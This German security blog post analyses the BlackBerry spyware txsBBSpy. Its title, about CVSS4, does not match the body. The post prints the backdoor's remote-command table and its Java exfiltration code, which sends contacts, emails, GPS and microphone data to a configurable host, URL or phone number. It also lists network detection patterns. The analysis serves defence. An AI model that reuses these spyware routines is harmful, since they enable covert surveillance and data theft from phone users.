Konkrete Kritik an CVSS4
Marc Ruef
Tyler Shields des Unternehmens Veracode hielt an der ShmooCon 2010 einen Vortrag zur Sicherheit von BlackBerry-Geräten. Dabei diskutierte er in erster Linie die Möglichkeiten von mobiler Spyware:
While a number of “vendors” sell Blackberry spyware, until now only a limited number of public code examples exist. Real time capture of SMS messages, Emails, and phone call logs are a fraction of the features to be presented. Full source code to the spyware will also be released.
Seine Ausführungen illustrierte er mit einer eigens dafür angefertigten Backdoor namens txsBBSpy. Den Java-Quelltext dieser hat er noch gleichentags veröffentlicht. In diesem Beitrag soll die Funktionsweise der Hintertür sowie die Implementierung besprochen werden.
Bei txsBBSpy handelt es sich um eine Spyware, die als Backdoor eingebracht wird. Sie wird genutzt, um die Aktivitäten einer Person zu überwachen und einzusehen. Ist die Malware einmal installiert, kann sie über verschiedene Kanäle gesteuert werden. Bei dieser Steuerung lässt sich das Verhalten der Hintertür anpassen, Zugriffe auf Datenbestände sowie Datensammlungen durchführen. Damit wird im weitesten Sinn ein RAT (Remote Access Tool) für BlackBerry realisiert. Ähnliche Ansätze haben wir bei unseren Implementierungen für das Apple iPhone und für HTC mit Windows Mobile realisiert.
Die bereitgestellte Spyware ist primär in der Lage, sämtliche abgespeicherten Daten auslesen zu lassen. Dazu gehören die folgenden Kerndaten eines modernen Mobiltelefons:
Zusätzlich können aber auch aktuelle Aktivitäten in Echtzeit überwacht werden. Zu diesen gehören die folgenden Möglichkeiten moderner Mobiltelefone:
Damit wird eine umfassende Überwachung des Geräts sowie dessen Benutzers möglich. Weiterführende Möglichkeiten, wie zum Beispiel das Generieren neuer Adressbucheinträge oder das Verschicken von Emails/SMS wäre ebenso denkbar. Damit liesse sich zum Beispiel ein Proxy oder ein Botnet aufbauen, mit dem sich aktuelle Geschäftsmodelle von Cyberkriminellen weiter vorantreiben lassen.
Die Fernsteuerung erfolgt durch processCommand(String cmd)
, wobei das Argument cmd
unterschiedliche Kommandos entgegennehmen in der Lage ist. Die untenstehende Tabelle illustriert die implementierten Mechanismen. Wird beispielsweise TXSPHLON
übergeben, wird der Phone Listener aktiviert. Und mit TXSEXFILSMS
wird die Datenextragierung mittels SMS realisiert.
Kommando | ID | Funktion Listener |
---|---|---|
TXSDIE | 1 | Beenden der Spyware |
TXSPHLON | 2 | Aktivieren des Phone Listener |
TXSPHLOFF | 3 | Deaktivieren des Phone Listener |
TXSPIMON | 4 | Aktivieren des PIM Listener |
TXSPIMOFF | 5 | Deaktivieren des PIM Listener |
TXSSLINON | 6 | Aktivieren des SMS In Listener |
TXSSLINOFF | 7 | Deaktivieren des SMS In Listener |
TXSSLOUTON | 8 | Aktivieren des SMS Out Listener |
TXSSLOUTOFF | 9 | Deaktivieren des SMS Out Listener |
TXSGLON | 10 | Aktivieren des GPS Listener |
TXSGLOFF | 11 | Deaktivieren des GPS Listener |
Kommando | ID | Funktion Dateiversand |
TXSEXFILSMS | 21 | Dateiversand als SMS |
TXSEXFILSMSDG | 22 | Dateiversand als SMS Datagramm |
TXSEXFILEMAIL | 23 | Dateiversand als Email |
TXSEXFILGET | 24 | Dateiversand als HTTP GET |
TXSEXFILPOST | 25 | Dateiversand als HTTP POST |
TXSEXFILTCP | 26 | Dateiversand zu TCP-Socket |
TXSEXFILUDP | 27 | Dateiversand zu UDP-Socket |
Kommando | ID | Funktion Datensammlung |
TXSDUMPCON | 31 | Ausgeben aller Kontakte |
TXSDUMPGPS | 32 | Ausgeben der aktuellen GPS-Koordinaten |
TXSDUMPPL | 33 | Ausgeben aller Phone-Logs |
TXSDUMPEMAIL | 34 | Ausgeben aller Emails |
TXSDUMPMIC | 36 | Aufzeichnen der aktuellen Mikrofon-Eingabe |
Kommando | ID | Funktion Kommunikation |
TXSIP | 41 | Ändern der Ziel-IP-Adresse für UDP- und TCP-Transaktionen |
TXSEM | 42 | Ändern der Ziel-Mailadresse für Email-Transaktionen |
TXSPORT | 43 | Ändern des Zielports |
TXSPHONE | 44 | Ändern der Ziel-Telefonnummer für SMS-Transaktionen |
TXSURL | 45 | Ändern der URL für HTTP-Transaktionen |
TXSHOST | 46 | Ändern des Ziel HOST für DNS-Transaktionen |
TXSGTIME | 47 | Ändern des Aktualisierungszyklus für GPS-Tracking |
TXSMTIME | 48 | Ändern der Dauer für Mikrofon-Aufnahmen |
Kommando | ID | Funktion Ping |
TXSPING | 99 | Auf Ping mit Pong antworten |
Anhand der in c
abgelegten ID werden sodann mit einem case
-Konstrukt die jeweiligen Funktionen aufgerufen. Dies ist sehr modular und strukturiert gelöst. Zum Beispiel wird mittels folgendem Code der Phone Listener eingerichtet:
pl = new PhoneLogger(); Phone.addPhoneListener(pl); break;
Wird die Transaktionsmethode geändert, wird dies in this.method
abgelegt, wobei hier acht unterschiedliche Werte von 1 bis 8 erwartet werden. Die nachfolgende Tabelle zeigt den Stand der gegenwärtigen Implementierung auf.
Method ID | Case ID | Methode |
---|---|---|
1 | 21 | SMS |
2 | 22 | SMS Datagramm |
3 | 23 | |
4 | 24 | HTTP GET |
5 | 25 | HTTP POST |
6 | 26 | UDP |
7 | 27 | TCP |
8 | 28 | DNS |
Hiermit wird eine umfassende und solide Implementierung bereitgestellt, die mit einem hohen Mass an Flexibilität aufwarten kann. So ist es möglich zwischen unterschiedlichen Kanälen zu wechseln, was spätestens dann erforderlich wird, wenn die Zielsystem mit zusätzlichen Mechanismen geschützt werden (z.B. Firewalling oder Hardening der Konfigurationen).
Die jeweiligen Transaktionsmethoden werden dann durch die Funktion exfiltrate(String msg)
angesteuert. Diese entscheidet anhand der als msg
übergebenen Argumente darüber, wie nun eine Datenübertragung stattfindet.
private void exfiltrate(String msg) { if (msg.startsWith(“TXS_”) != true) // Make sure that we haven’t already exfiltrated this message { msg = “TXS_”+msg; // Prepend our send marker switch (this.method) { case 1: exfilSMS(msg); break; case 2: exfilSMS_dg(msg); break; case 3: exfilEmail(msg); break; case 4: exfilHTTP_GET(msg); break; case 5: exfilHTTP_POST(msg); break; case 6: exfilTCP(msg); break; case 7: exfilUDP(msg); break; case 8: exfilDNS(msg); break; } } return; }
Weiterführend sind dann Funktionen wie exfilSMS(msg)
für das Übertragen der Daten per SMS oder exfilHTTP_GET(msg)
für eine Transaktion per HTTP GET zuständig.
Eine Datenübertragung per SMS findet relativ simpel statt, indem durch den jeweiligen Connector das SMS mittels dem Scheme sms://
generiert wird:
(MessageConnection) Connector.open("sms://" + this.pnum + ":3590");
Die Erkennung der Malware ist durch die üblichen Mittel möglich. Eine Antiviren-Lösung kann versuchen durch patternbasierte oder heuristische Methoden die offensichtlichen Codeteile als solche zu identifizieren.
Es gibt jedoch eine Vielzahl an Eigenarten, die die Hintertür spätestens bei deren Aktivitäten im Netzwerk erkennen lassen.
Aktivität | Pattern | Code |
---|---|---|
Datenübertragung per Email | Mail-Betreff besteht aus Urgent Message | m.setSubject("Urgent message"); |
Datenübertragung per HTTP GET | URLs haben die Struktur http://<url>/<msg> | c = (HttpConnection)Connector.open("http://"+this.url+"/"+msg); |
Datenübertragung per HTTP POST | User-Agent besteht aus BBSpyware|<msg> | c.setRequestProperty("User-Agent", "BBSpyware|"+msg);
|
Datenübertragung per UDP | Zielport ist standardmässig 4444 | conn = (DatagramConnection)Connector.open("udp://"+this.ip+":"+ this.port+";4444");
|
Man merkt txsBBSpy an, dass es durch jemanden programmiert wurde, der ein derartiges Produkt nicht zum ersten Mal entwickelt hat. Zu strukturiert und zu modular ist die gegebene Implementierung, deren Sourcecode sich sehr einfach und angenehm lesen lässt.
Und so spürt man dann auch heraus, dass die Entwicklung weit über einen simplen Proof-of-Concept hinaus geht. Tyler steckt ein gewisses Mass an Leidenschaft in seine Lösung, die sich durchaus produktiv einsetzen lässt. Die gegebene Flexibilität ist nicht zu unterschätzen und eine Nutzung deshalb zusätzlich auch noch komfortabel.
Nur in einigen wenigen Punkten findet sich Verbesserungspotential. So gibt es einen kleinen Fehler, der es verunmöglicht, dass eine Datenübertragung mittels DNS stattfinden kann. Und so macht es auch an anderer Stelle den Anschein, dass der veröffentlichte Code nicht ganz dem entspricht, was hinter verschlossenen Türen entwickelt wurde. Es schien, als sei so manches Feature kurzfristig vor dem Release entfernt worden, was durch den Entwickler in einem Comment bestätigt wurde:
Great catch ;) There is indeed a removed feature in that location of the code. Consider it a preview of additional things to be released at Source Boston conference in April.
Dennoch zeigt das Produkt auf, dass auch auf BlackBerry-Plattformen mit Risiken durch Malware zu rechnen ist. Da die Geräte bzw. die darauf installierte Software zudem vermehrt Schwachstellen aufweisen (z.B. wie zuletzt im PDF-Viewer), ist durchaus mit einem Potential für Kompromittierungen zu rechnen. Erste breitflächige Infektionen sind jedoch in den letzten Monaten schon zu verzeichnen gewesen. Dies ist nicht verwunderlich, weist das Unternehmen comScore die Verbreitung von BlackBerry mit 41.6% noch Ende 2009 als die grösste in den USA aus.
Anbieter | September 2009 | Dezember 2009 | Veränderung |
---|---|---|---|
RIM | 42.6% | 41.6% | -1.0% |
Apple | 24.1% | 25.3% | +1.2% |
Microsoft | 19.0% | 18.0% | -1.0% |
Palm | 8.3% | 6.1% | -2.2% |
2.5% | 5.2% | +2.7% |
Unsere Spezialisten kontaktieren Sie gern!
Marc Ruef
Marc Ruef
Marc Ruef
Marc Ruef
Unsere Spezialisten kontaktieren Sie gern!